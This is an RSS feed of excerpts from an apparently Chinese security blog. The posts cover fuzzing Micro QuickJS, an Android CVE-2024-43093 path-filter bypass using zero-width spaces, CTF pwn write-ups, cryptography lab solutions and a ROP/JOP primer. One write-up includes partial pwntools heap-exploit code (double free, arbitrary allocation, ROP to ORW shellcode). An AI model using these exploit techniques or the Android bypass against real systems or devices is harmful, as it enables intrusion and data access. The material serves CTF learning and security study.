RiK's Blog
type: channel
link: https://pwnerik.cn/
description: Get your hands dirty.
items: AFL++ Grammar Level Fuzzing on Micro QuickJS
items: Android CVE 2024‑43093 漏洞浅析
items: RCTF 2025 bbox Writeup
items: 西电网安实验班 现代密码学 实验四
items: 西电网安实验班 现代密码学 实验三
items: 西电网安实验班 现代密码学 实验二
items: RCTF 2025 mstr Writeup
items: 西电网安实验班 现代密码学 实验一
items: 羊城杯 2025 初赛 Pwn Writeup
items: 从 ROP 到 JOP 攻击（amd64）

AFL++ Grammar Level Fuzzing on Micro QuickJS
type: item
date: 2026-01-20T09:41:00+00:00
description: 0. 起因2025.12.23 传奇程序员 Bellard（Qemu、ffmpeg、QuickJS、TCC... 原作者）发布了他的新作品 Micro QuickJS（mqjs），这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的，应该会有一些内存损坏漏洞吧。1. 准备 fuzzer组件我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话，构造的是逐字节的随机输入，其中大多数都是无意义的乱码（即使配合 cmplog 等）。对于特定语言解释器来说，我们希望构造的输入能够真正被执行。编译原理告诉我们，从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段：词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过，更别说语法分析语义分析了。如果构造的输入根本没法运行，那我们就无法触及有关 VM 和 GC（垃圾回收释放内存）相关的更有价值的漏洞。西电网信院在大二有一门选修课就是编译原理，最后的大作业是 C 语言标准库手搓自定义绘图语言编译器，十分带劲。不过据说从 24 级开始这门课🈚️了。我感觉从 LLVM pass 上手会更有实用价值一些。而如果配合 Grammar-Mutator，我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式，自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST，再随机选择 AST 中的节点，根据生成式变异为另一个节点或子树，最后再根据 AST 生成代码作为新的 seed。（具体可以看这篇文章）当然，编译时 Address Sanitizer 也必不可少（-fsanitize=address）。我试过再加上 UB Sanitizer，但是随便一运行就爆了，难道到处都是 UB？问题修复一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。遇到这种情况就不变异吧，直接把整个 AFL 停了真的好吗，，修改代码如下即可：diff --git a/src/tree_mutation.c b/src/tree_mutation.c index 68e91f9..62da2ed 100644 --- a/src/tree_mutation.c +++ b/src/tree_mutation.c @@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + + return mutated_tree; } @@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + return mutated_tree; } node_t *parent = node->parent;执行编写 fuzzing harness 用于 persistent mode，同时按照 Grammar-Mutator 的官方文档编译好 mutator library，自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL：while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o out/…

Android CVE 2024‑43093 漏洞浅析
type: item
date: 2026-01-16T13:37:00+00:00
description: 简介CVE‑2024‑43093 是一个 Android 框架组件中的权限提升漏洞，其成因核心是文件路径过滤器在处理包含 Unicode 字符的路径时存在逻辑问题。出人意料的是，至今仍有不少安卓设备没有修复这个漏洞。使用 DuckDetector 可以检测这个漏洞在当前设备上是否修补。成因产生问题的代码位于 com/android/externalstorage/ExternalStorageProvider.java 中的 shouldHideDocument 函数。路径检查逻辑首先对文件路径进行规范化，本意是为了能正确匹配过滤规则，防止特殊字符注入。但是这种规范化不能防范所有字符的情况，例如零宽空格。如果在访问路径中插入零宽空格，那么就能绕过这个过滤规则，读写 /sdcard/Android/{data,obb}/<package> 任意目录。修复Google 早在 2024 年已尝试修复这个漏洞，将路径过滤规则从简单的正则匹配改为使用 Java File 逐级遍历验证路径是否相同，但仍然无法阻挡这个漏洞。修复 patch diff 如下：@@ -16,8 +16,6 @@ package com.android.externalstorage; -import static java.util.regex.Pattern.CASE_INSENSITIVE; - import android.annotation.NonNull; import android.annotation.Nullable; import android.app.usage.StorageStatsManager; @@ -61,12 +59,15 @@ import java.io.FileNotFoundException; import java.io.IOException; import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Arrays; import java.util.Collections; import java.util.List; import java.util.Locale; import java.util.Objects; import java.util.UUID; -import java.util.regex.Pattern; +import java.util.stream.Collectors; /** * Presents content of the shared (a.k.a. "external") storage. @@ -89,12 +90,9 @@ private static final Uri BASE_URI = new Uri.Builder().scheme(ContentResolver.SCHEME_CONTENT).authority(AUTHORITY).build(); - /** - * Regex for detecting {@code /Android/data/}, {@code /Android/obb/} and - * {@code /Android/sandbox/} along with all their subdirectories and content. - */ - private static final Pattern PATTERN_RESTRICTED_ANDROID_SUBTREES = - Pattern.compile("^Android/(?:data|obb|sandbox)(?:/.+)?", CASE_INSENSITIVE); + private static final String PRIMARY_EMULATED_STORAGE_PATH = "/storage/emulated/"; + + private static final String STORAGE_PATH = "/storage/"; private static final String[] DEFAULT_ROOT_PROJECTION = new String[] { Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE, @@ -309,11 +307,70 @@ return false; } - final String path = getPathFromDocId(documen…

RCTF 2025 bbox Writeup
type: item
date: 2025-12-15T16:37:00+00:00
description: RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的…

西电网安实验班 现代密码学 实验四
type: item
date: 2025-12-09T07:54:00+00:00
description: RSA 加密体制破译来源：“RSA 大礼包”——首届（2016）全国高校密码数学挑战赛 赛题三截获数据处理首先按照赛题描述的帧结构提取所有的截获数据：1024bit 模数 N | 1024bit 加密指数 e | 1024bit 密文 m^e mod NFrame0: N = 90058705186558569935261948496132914380077312570281980020033760044382510933070450931241348678652103772768114420567119848142360867111065753301402088676701668212035175754850951897103338079978959810673297215370534716084813732883918187890434411552463739669878295417744080700424913250020348487161014643951785502867 e = 46786465362686334917265996843779843233606992585424976481745055335468678697948774988450305612127967926533923268260412557000125153569622340353246096040604284883505587337829322949633637609180797447754513992039018904786537115087888005528547900640339270052628915440787357271345416818313808448127098885767015748889 c = 48641173720475702278690317652676924796340996697567087705119344461991930773386153198223372579328462635803653561516674380209276666328375805315553713680858906705068657158073776194628700821011001144559278784795978097710145192236347629751116534400207288736776545247409895672030976932673010818369814246455196991083 -------- Frame1: N = 92921790800705826977497755832938592891062287903332844896046168726101016067456726822505517352409138948392871113192427210529297191908638888388136391240683157994654207338463678065440899870434887094216772312358731142317774259942199808535233769089985063860828267808621928898445383706310204223006136919334252875849 e = 65537 c = 1626661141529320283833484152716550848856697186049377493478368799832043379420727509223318694347625977694500761460048670101820769656612419734057871562023463159698522348510157125720014700549254630959391701883372400982386084212421115166791728704867253734354874934210987301137512341070190760227227749365878233484 -------- Frame2: N = 9025265360096445352455966929661813527291128977594919492254352087216414776865042103817633005359996860113582175067268566436078659543002868441941189331607428631279373082296356422056461670857376476438683012381819718323344347250610682891967040678522812487622…

西电网安实验班 现代密码学 实验三
type: item
date: 2025-11-25T11:01:00+00:00
description: 题目一Project Euler RSA Encryption Problem 182链接：https://projecteuler.net/problem=182RSA 有可能存在加密但没有加密的情况。起初遍历所有可能的消息并逐个加密来计算 unconsealed messages count。后来发现有以下公式：$$ N = (1 + \gcd(e-1, p-1)) \times (1 + \gcd(e-1, q-1)) $$from gmpy2 import gcd p = 1009 q = 3643 phi = (p - 1) * (q - 1) min_unconcealed = p * q candidates = [] for e in range(3, phi, 2): if gcd(e, phi) != 1: continue count = (1 + gcd(e - 1, p - 1)) * (1 + gcd(e - 1, q - 1)) if count < min_unconcealed: min_unconcealed = count candidates = [e] elif count == min_unconcealed: candidates.append(e) print(f"min_unconcealed: {min_unconcealed}") print("e:", end=" ") for e in candidates[:50]: print(f'{e} ', end='') print()题目二Implement RSA链接：https://www.cryptopals.com/sets/5/challenges/39只是实现一个简单的 RSA，要求手写 exgcd 和 modinv，那就手写吧。from gmpy2 import next_prime, powmod from secrets import randbits from Crypto.Util.number import bytes_to_long def gcd(a, b): while b != 0: a, b = b, a % b return a def ex_gcd(a, b): if b == 0: return 1, 0 else: x1, y1 = ex_gcd(b, a % b) x = y1 y = x1 - (a // b) * y1 return x, y def inverse(a, m): x, _ = ex_gcd(a, m) return (x % m + m) % m e = 3 while True: p = next_prime(randbits(64)) q = next_prime(randbits(64)) n = p * q phi = (p - 1) * (q - 1) if gcd(e, phi) == 1: break m = bytes_to_long(b'pwnerik.cn') assert 0 <= m < n c = powmod(m, e, n) d = inverse(e, phi) msg = powmod(c, d, n) assert m == msg这个实现有很多问题，例如 e、p、q 太小。

西电网安实验班 现代密码学 实验二
type: item
date: 2025-11-25T03:47:00+00:00
description: 题目一地址：https://mysterytwister.org/challenges/level-2/aes-key--encoded-in-the-machine-readable-zone-of-a-european-epassport俄罗斯的电子护照编号编码了一个 AES 密钥，我们需要解码出这个密钥然后解密 AES CBC 模式密文。题目说 IV 初始化为 0，那么我们只需要得到密钥。目标密文（base64）：9MgYwmuPrjiecPMx61O6zIuy3MtIXQQ0E59T3xB6u0Gyf1gYs2i3K9Jxaa0zj4gTMazJuApwd6+jdyeI5iGHvhQyDHGVlAuYTgJrbFDrfB22Fpil2NfNnWFBTXyf7SDI题目已经过期了，现在的 ICAO 文件描述的护照编号格式连长度都不一样。这怎么做？只能抄题解了……题目二地址：https://cryptopals.com/sets/2Implement PKCS#7 padding不需要特别考虑 content 恰好和块等长的情况，相当于再附加一个只有 padding 的块。def pkcs_7(content: bytes) -> bytes: padlen = 16 - (len(content) % 16) return content + bytes([padlen] * padlen) pkcs_7("YELLOW SUBMARINE", 20) # "YELLOW SUBMARINE\x04\x04\x04\x04"Implement CBC modefrom base64 import b64decode from Crypto.Cipher import AES def aes_ecb_dec(block: bytes, key: bytes) -> bytes: assert len(block) % 16 == 0 cipher = AES.new(key, AES.MODE_ECB) return cipher.decrypt(block) def bytesxor(a: bytes, b: bytes) -> bytes: if len(a) > len(b): return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)]) else: return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])]) def depkcs_7(content: bytes) -> bytes: return content[:len(content) - content[-1]] def aes_cbc_dec(cipher: bytes, key: bytes, iv: bytes) -> bytes: assert len(cipher) % 16 == 0 result = bytes() prev_block = iv for i in range(0, len(cipher), 16): block = cipher[i:i+16] decrypted = aes_ecb_dec(block, key) result += bytesxor(decrypted, prev_block) prev_block = block return depkcs_7(result) key = b"YELLOW SUBMARINE" with open('10.txt', 'r') as f: encrypted_b64 = f.read() cipher = b64decode(encrypted_b64) print(aes_cbc_dec(cipher, key, b'\x00' * 16))An ECB/CBC detection oracle通过检查是否有重复块来判断是否是 ECB 模式，用户输入需要有较长的重复 pattern 才能成功。def aes_ecb_enc(data: bytes, key: bytes) -> bytes: assert len(data) % 16 == 0 cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(data) def pkcs_7(content: bytes) -> bytes: padlen = 16 - (len(content) % 16) return content + bytes([padlen] * padlen) def aes_cbc_enc(plain: bytes, key: bytes,…

RCTF 2025 mstr Writeup
type: item
date: 2025-11-21T03:05:00+00:00
description: 少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_pt…

西电网安实验班 现代密码学 实验一
type: item
date: 2025-11-13T10:15:00+00:00
description: 题目一地址：https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt​ 题目使用同一个流密码密钥加密得到 10 个密文，加密方式是逐字节异或，目标是通过这 10 个密文得到密钥以解出第 11 个密文。​ 已知消息 M、密钥 K，异或加密的过程是$$ C=M\oplus K $$得到密文 C。异或是自反的运算，所以解密与加密过程相同$$ M=C\oplus K $$​ 对于同一个密钥 K 加密的两个密文 C_1、C_2，如果将两者异或可以得到$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$字节流B是两消息逐字节异或结果。​ 我们首先导入这些密文和加密方法msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e') msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f') msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb') msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa') msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070') msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba…

羊城杯 2025 初赛 Pwn Writeup
type: item
date: 2025-10-16T12:07:00+00:00
description: malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(…

从 ROP 到 JOP 攻击（amd64）
type: item
date: 2025-10-13T11:27:00+00:00
description: JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提炼出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提炼出：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。